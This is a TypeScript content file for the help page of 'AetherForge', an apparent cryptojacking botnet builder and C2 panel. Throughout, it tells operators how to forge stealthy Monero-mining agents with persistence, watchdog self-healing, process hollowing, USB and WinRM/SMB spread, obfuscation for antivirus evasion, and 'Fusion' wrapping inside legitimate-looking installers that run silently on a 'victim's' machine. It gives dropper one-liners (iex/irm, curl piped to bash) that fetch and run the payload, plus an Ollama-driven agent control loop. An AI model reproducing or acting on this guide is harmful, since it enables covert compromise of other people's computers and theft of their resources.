/** Structured content for the Field Guide page — updated to match current AetherForge feature set. */

export interface CheatStep {
  id: string;
  title: string;
  subtitle: string;
  icon: string;
  body: string;
  route?: string;
  routeLabel?: string;
  tips?: string[];
  code?: string; // inline example command / snippet
}

export interface CheatSection {
  id: string;
  title: string;
  description: string;
  steps?: CheatStep[];
  cards?: { title: string; body: string; accent?: string }[];
}

// ─── Main pipeline ────────────────────────────────────────────────────────────

export const PIPELINE_STEPS: CheatStep[] = [
  {
    id: 'calibrate',
    title: 'Calibrate',
    subtitle: 'One-time server setup',
    icon: '⚙',
    body: 'Set the listen port, data folder, fleet alert thresholds, default pool/wallet hints for new Forge forms, and global server limits. Changes here never touch already-forged agents — they are baked at Forge time.',
    route: '/settings',
    routeLabel: 'Open Calibrate',
    tips: [
      'Port default is 8989 — change if conflicting',
      'Set Public URL to your LAN address (Use detected LAN in Calibrate) so Forge pre-fills worker C2 URLs',
      'Set a default wallet address here so every new Forge form pre-fills it',
      'Build retention: how many days old builds stay on disk before auto-purge',
    ],
  },
  {
    id: 'forge',
    title: 'Forge',
    subtitle: 'Build a worker binary',
    icon: '⚒',
    body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your LAN control URL, wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
    route: '/forge',
    routeLabel: 'Open Forge',
    tips: [
      'C2 URL example: http://192.168.1.50:8989 (LAN IP — not localhost)',
      'Use Calibrate → Use best defaults for TLS pool presets + detected LAN URL',
      'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it',
      'Save a Blueprint after tuning so you can one-click re-forge the same config later',
      'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app',
    ],
  },
  {
    id: 'buildmgr',
    title: 'Build Manager',
    subtitle: 'Manage forged binaries',
    icon: '📋',
    body: 'Every build you forge is listed here with its baked settings (C2, wallet, pool, platform). Download any build, grab dropper one-liners, copy to any machine. Pin one build to make the dropper commands always serve it.',
    route: '/builds',
    routeLabel: 'Build Manager',
    tips: [
      'Pin a build → dropper one-liners always serve that exact binary',
      'Unpinned: dropper serves the most-recently-forged build',
      'Each card shows wallet (truncated), pool, thread count, and file size',
      'Re-forge button pre-fills Forge with that build\'s exact baked settings',
      'Delete removes the DB record (archive file stays on server disk)',
    ],
  },
  {
    id: 'drop',
    title: 'Drop',
    subtitle: 'One-liner remote install',
    icon: '📡',
    body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.',
    tips: [
      'Windows (PowerShell): iex (irm \'http://192.168.1.50:8989/install.ps1\')',
      'Linux/Mac (bash):     curl -sL http://192.168.1.50:8989/install.sh | bash',
      'Direct download:      http://192.168.1.50:8989/get?os=windows',
      'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate',
      'Pin the correct build in Build Manager before sending the one-liner',
    ],
    code: `iex (irm 'http://192.168.1.50:8989/install.ps1')`,
  },
  {
    id: 'connect',
    title: 'Connect',
    subtitle: 'Agent phones home',
    icon: '🔗',
    body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
    route: '/agents',
    routeLabel: 'Fleet Roster',
    tips: [
      'Status dot: green = online now, grey = last seen X ago',
      'Remote action buttons are disabled when the agent is offline — by design',
      'Agent logs: use Fetch Log (get_log) in Remote Control, or AI upload_log tool reports — no separate log-ingest API',
      'If agent never appears: check C2 URL is reachable from the target machine',
      'Agents must reach your LAN control URL — test from the target PC in a browser',
      'Worker name you set in Forge shows as the agent name in the roster',
    ],
  },
  {
    id: 'mine',
    title: 'Mine',
    subtitle: 'Stratum → pool → shares',
    icon: '⛏',
    body: 'The C2 server maintains a Stratum connection to each unique pool+wallet combination that has been forged. Jobs are broadcast to matching agents over WebSocket. Accepted/rejected shares track against the pool directly.',
    route: '/dashboard',
    routeLabel: 'Command Deck',
    tips: [
      'Command Deck shows total fleet hashrate as a live wave chart',
      'Pool status panel shows each pool\'s Stratum connection health (green/yellow/red)',
      'Accept rate below ~95% usually means wrong wallet or pool TLS mismatch',
      'Hashrate updates every 15 seconds from each agent heartbeat',
    ],
  },
];

// ─── Forge vs Calibrate ────────────────────────────────────────────────────────

export const FORGE_VS_CALIBRATE = {
  forge: {
    title: 'Forge — baked into each binary',
    items: [
      'C2 server URL (LAN http://IP:8989)',
      'Wallet address & payment ID',
      'Pool host, port, TLS on/off, pool password',
      'Worker name (shows in Fleet Roster)',
      'Thread count + thread mode (fixed / percent / adapt)',
      'CPU/RAM usage caps & idle detection',
      'Mining schedule (start/end time window)',
      'Install base path + relative subfolder',
      'Stealth mode (hidden process, no console)',
      'Persistence (registry + scheduled task + WMI)',
      'Windows Firewall allow rules',
      'Self-healing (watchdog re-installs if killed)',
      'USB propagation + share/WinRM spread',
      'Process hollowing + display name disguise',
      'Fusion (wrap inside a prep.exe or media file)',
      'AI Autonomy (Ollama model, endpoint)',
      'Backup C2s and backup pools',
    ],
  },
  calibrate: {
    title: 'Calibrate — control server only',
    items: [
      'Listen port (default 8989)',
      'Data directory path',
      'Dashboard subtitle (cosmetic)',
      'Default pool/wallet shown in new Forge forms',
      'Fleet alert thresholds + Telegram/email notify',
      'Max agents / max build size limits',
      'Stats & build retention periods',
      'WebSocket ping & pool reconnect intervals',
      'Logging toggles (connections, shares, pool traffic)',
      'Open control-server port in Windows Firewall',
      'Build signing (Authenticode cert thumbprint)',
      'Garble obfuscation default on/off',
    ],
  },
};

// ─── Network / LAN topology ───────────────────────────────────────────────────

export const NETWORK_GUIDE: CheatStep[] = [
  {
    id: 'n1',
    title: 'Portable control deck',
    subtitle: 'LAUNCH.bat',
    icon: '🚀',
    body: 'LAUNCH.bat starts AetherForge.exe on 0.0.0.0:8989, opens the dashboard at localhost, and installs garble/go-winres into the portable toolchain when missing (for Forge on the USB PC).',
    tips: [
      'Dashboard on this PC: http://localhost:8989',
      'Workers on other PCs need your LAN IP, not localhost',
      'First login: credentials print in the LAUNCH window or data\\login-credentials.json',
      'Run pack-usb.bat from the repo to refresh the portable bundle',
    ],
  },
  {
    id: 'n2',
    title: 'C2 server binding',
    subtitle: '0.0.0.0:8989',
    icon: '🖥',
    body: 'AetherForge binds to all interfaces on port 8989. Calibrate stores your LAN URL so Forge and dropper one-liners use the right address for workers on your network.',
    tips: [
      'Calibrate → Use detected LAN → Save Calibration',
      'Dashboard on LAN: http://<lan-ip>:8989',
      'Open firewall on start (Calibrate) helps workers reach the deck',
    ],
  },
  {
    id: 'n3',
    title: 'Forge C2 URL',
    subtitle: 'Bake LAN endpoint',
    icon: '🔗',
    body: 'Set Control Endpoint in Forge to your Calibrate public URL (LAN). Smart defaults also fill backup C2 URLs from other detected LAN IPs on this host.',
    tips: [
      'Example: http://192.168.1.50:8989',
      'Never use localhost — workers cannot reach it',
      'Backup C2 URLs: other LAN IPs on the same control PC (auto-filled)',
      'Agents try primary then backup C2s if unreachable',
    ],
    code: `Control Endpoint:  http://192.168.1.50:8989
Backup C2 (optional): http://192.168.1.51:8989`,
  },
  {
    id: 'n4',
    title: 'Dropper one-liners',
    subtitle: 'LAN scripts (+ optional tunnel)',
    icon: '💧',
    body: 'Pin a build in Build Manager, then use your LAN URL below. If you later run an external tunnel on another machine, point it to this host and replace the URL host in these commands.',
    tips: [
      'PS1 dropper is silent — downloads, runs agent, closes terminal',
      '/get?os=windows — direct binary download',
      'Dashboard requires login — dropper does not',
      'Optional: external tunnel machine forwards to this PC on port 8989',
    ],
    code: `# Windows (PowerShell):
iex (irm 'http://192.168.1.50:8989/install.ps1')

# Linux / macOS:
curl -sL http://192.168.1.50:8989/install.sh | bash

# Direct binary:
http://192.168.1.50:8989/get`,
  },
];

// ─── Fusion workflow ───────────────────────────────────────────────────────────

export const FUSION_GUIDE: CheatStep[] = [
  {
    id: 'f1',
    title: 'Configure the worker first',
    subtitle: 'Forge tab — all settings',
    icon: '1',
    body: 'Fill in all your Forge settings (C2 URL, wallet, pool, stealth, persistence, etc.) before enabling Fusion. The same agent is just wrapped inside your prep file.',
    tips: ['Stealth + persistence recommended for Fusion builds', 'Garble obfuscation helps AV evasion'],
  },
  {
    id: 'f2',
    title: 'Enable Fusion + upload prep',
    subtitle: 'Toggle → upload → pick order',
    icon: '2',
    body: 'Toggle Fusion on, upload your prep.exe (the legit-looking app — installer, game launcher, PDF reader, etc.). Pick run order: Parallel (both launch), Prep First (prep runs, then agent), or Worker First.',
    tips: [
      'Prep can be any Windows .exe — it keeps its icon, version strings, file description',
      'Parallel = no delay for the victim (best UX)',
      'The output file is named after your prep.exe',
    ],
  },
  {
    id: 'f3',
    title: 'Forge → fused output',
    subtitle: 'One file, both payloads',
    icon: '3',
    body: 'The output is a single .exe that looks exactly like your prep app. When run: prep app launches visibly, agent installs silently in background. Uninstall script is generated alongside.',
    tips: [
      'File size = prep + agent overhead',
      'Signed prep.exe transfers its signature to the output (if signing enabled)',
      'Fusion export folder in Build Manager shows all deliverables',
    ],
    code: `Result: prep_app_name.exe  (contains hidden agent)
        uninstall-worker-name.ps1`,
  },
  {
    id: 'f4',
    title: 'Media Fusion (batch)',
    subtitle: 'Multiple titles at once',
    icon: '4',
    body: 'Upload multiple prep files — each gets its own fused output with the same embedded agent. Great for generating a library of different-looking "installers" that all call home to the same C2.',
    tips: [
      'Each output has a unique name matching its prep.exe',
      'All connect to the same C2 — manage via Build Manager',
      'Download individual files or as a ZIP bundle',
    ],
  },
];

// ─── AI Autonomy ───────────────────────────────────────────────────────────────

export const AI_GUIDE: CheatStep[] = [
  {
    id: 'a1',
    title: 'Install Ollama',
    subtitle: 'On the C2 machine',
    icon: '🤖',
    body: 'Ollama must run on the same machine as AetherForge (or be reachable from it). It does NOT run on worker machines — the worker just asks the C2 server for decisions.',
    tips: [
      'Install: https://ollama.ai',
      'Pull a model: ollama pull llama3.2',
      'Default endpoint: http://localhost:11434',
      'Test: curl http://localhost:11434/api/tags',
    ],
    code: `ollama pull llama3.2
ollama run llama3.2`,
  },
  {
    id: 'a2',
    title: 'Enable in Forge',
    subtitle: 'AI Autonomy section',
    icon: '⚡',
    body: 'Toggle AI Autonomy on, set the Ollama model name (e.g. llama3.2), confirm the Ollama URL. Re-forge after changing — it\'s baked into the binary. Best combined with Self-healing.',
    tips: [
      'Model name must match exactly what Ollama has pulled',
      'Larger models (llama3.1:70b) reason better but are slower',
      'Self-healing + AI = agent repairs itself AND adapts behavior',
    ],
  },
  {
    id: 'a3',
    title: 'Agent autonomy loop',
    subtitle: 'Every ~60 seconds',
    icon: '🔄',
    body: 'Forged worker periodically calls C2 /agent/decide → C2 sends context to Ollama → Ollama returns tool calls → agent executes (adjust threads, self-heal, check persistence, adapt to hardware). All logged to /agent/report.',
    tips: [
      'AI activity visible on Command Deck → AI Activity section',
      'Adapt To Hardware: agent auto-tunes thread count based on CPU load',
      'If Ollama is down, agent falls back to static config — nothing breaks',
    ],
  },
];

// ─── Troubleshooting ───────────────────────────────────────────────────────────

export const TROUBLESHOOTING = [
  {
    problem: 'Agent never appears in Fleet Roster',
    fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
  },
  {
    problem: 'Forge blocked — server_url error',
    fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (workers cannot reach those). Use your LAN IP with port 8989, e.g. http://192.168.1.50:8989. Calibrate → Use detected LAN fills this for you.',
  },
  {
    problem: '0 hashrate / shares never appear',
    fix: 'Pool must be reachable from the C2 server machine (not the agent). Check Forge settings: pool host, port, TLS match your pool\'s docs. Example for SupportXMR: pool.supportxmr.com:443 with TLS on. Try telnet pool.supportxmr.com 443 from your C2 machine.',
  },
  {
    problem: 'Shares all rejected',
    fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 90–106 chars starting with 4 or 8. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
  },
  {
    problem: 'Preflight ✕ blocking forge',
    fix: 'Read the exact error — common ones: no wallet address, localhost C2 URL, Fusion toggled without prep.exe uploaded, AI enabled without Ollama URL, conflicting thread/CPU settings. Fix each red item before forging.',
  },
  {
    problem: 'Agent installs but goes offline immediately',
    fix: 'Self-healing + persistence are key. If the process is killed and those are off, agent exits permanently. Re-forge with Persistence (registry + scheduled task) and Self-healing on. Also check AV/Defender — add Firewall Exclusion in Forge.',
  },
  {
    problem: 'Can\'t remove the miner',
    fix: 'Run uninstall-workername.ps1 as Administrator in PowerShell. It removes registry keys, scheduled tasks, WMI triggers, and the installed binary. If that fails: Task Manager → End the process name you set in Forge, then delete manually from the install path.',
  },
  {
    problem: 'PS1 dropper does nothing / errors',
    fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'). Ensure the control server is running, the LAN URL is reachable from that PC, and the pinned build exists in Build Manager.',
  },
  {
    problem: 'Forge hangs / Kill Build button',
    fix: 'Go compiler can hang if garble obfuscation is on and GOPATH has stale cache. Click "Kill Build", disable garble temporarily, forge again. Also check agent source is present — LAUNCH.bat installs it automatically.',
  },
  {
    problem: 'AI not making any decisions',
    fix: 'Check: 1) AI Autonomy was enabled before this forge (it\'s baked in), 2) Ollama is running on the C2 machine (curl http://localhost:11434/api/tags should return JSON), 3) model name in Forge matches pulled model exactly. Server logs show /agent/decide calls.',
  },
  {
    problem: 'Dashboard shows wrong hashrate',
    fix: 'Hashrate is reported by agents every 15s. If an agent has been offline and came back, wait one update cycle. The 15m hashrate smooths over short gaps. Fleet total = sum of all online agents.',
  },
  {
    problem: 'Build Manager shows no builds',
    fix: 'Builds are stored in the data/builds folder on the C2 server. If running from USB and data dir is relative — check LAUNCH.bat sets the data dir to a persistent location, not a temp folder.',
  },
];

// ─── Roadmap ───────────────────────────────────────────────────────────────────

export const ROADMAP_FEATURES = [
  // Shipped
  { priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + Telegram/email.' },
  { priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health live on Command Deck.' },
  { priority: 'high', title: 'AI Autonomy (Ollama)', desc: 'Decide loop with tool calls, self-heal, adapt-to-hardware.' },
  { priority: 'high', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail (get_log) from dashboard when agent is online.' },
  { priority: 'high', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day + live price.' },
  { priority: 'high', title: 'Build Manager full page', desc: 'All builds with settings, downloads, dropper one-liners, QR, pin to dropper.' },
  { priority: 'high', title: 'Dropper endpoints', desc: '/get /install.ps1 /install.sh — one-liner remote deploy, auto-OS detect.' },
  { priority: 'high', title: 'Dropper pin', desc: 'Pin any build as active dropper target from Build Manager.' },
  { priority: 'high', title: 'Dashboard auth', desc: 'bcrypt user/password, per-session cache, rotate fleet secret.' },
  { priority: 'high', title: 'Fusion (media/prep wrap)', desc: 'Wrap agent inside any .exe, batch mode for multiple titles.' },
  { priority: 'high', title: 'Blueprints', desc: 'Save/load named Forge configs for quick re-forge.' },
  { priority: 'high', title: 'USB Spread + Share Drop', desc: 'Auto-copy to USB drives, WinRM/SMB network spread.' },
  { priority: 'high', title: 'Sacred geometry UI', desc: 'Animated ambient Flower of Life + flame logo throughout.' },
  { priority: 'medium', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
  { priority: 'medium', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
  { priority: 'low', title: 'Multi-wallet pools', desc: 'Round-robin wallet rotation per agent.' },
  { priority: 'low', title: 'Agent mesh P2P', desc: 'Agents relay commands peer-to-peer if C2 unreachable.' },
];

// ─── Section registry (used by GuidePage) ─────────────────────────────────────

export const CHEAT_SECTIONS: CheatSection[] = [
  {
    id: 'pipeline',
    title: 'End-to-end pipeline',
    description: 'How data flows from your control PC to the pool — six stages from first boot to live hashrate.',
    steps: PIPELINE_STEPS,
  },
  {
    id: 'network',
    title: 'Network topology — LAN + USB',
    description: 'AetherForge runs locally at localhost:8989 and binds 0.0.0.0:8989 for LAN workers. Optional external tunneling can be added on another machine later without changing local USB workflow.',
    steps: NETWORK_GUIDE,
  },
  {
    id: 'fusion',
    title: 'Fusion workflow',
    description: 'Bundle the smart agent inside any .exe so it looks like your legitimate prep app. One file, two payloads.',
    steps: FUSION_GUIDE,
  },
  {
    id: 'ai',
    title: 'AI Autonomy workflow',
    description: 'Agents make adaptive decisions via Ollama running on the C2 machine — self-healing, thread tuning, persistence checks.',
    steps: AI_GUIDE,
  },
  {
    id: 'troubleshoot',
    title: 'Troubleshooting',
    description: 'Common symptoms and their exact fixes.',
    cards: TROUBLESHOOTING.map((t) => ({ title: t.problem, body: t.fix, accent: 'amber' })),
  },
];
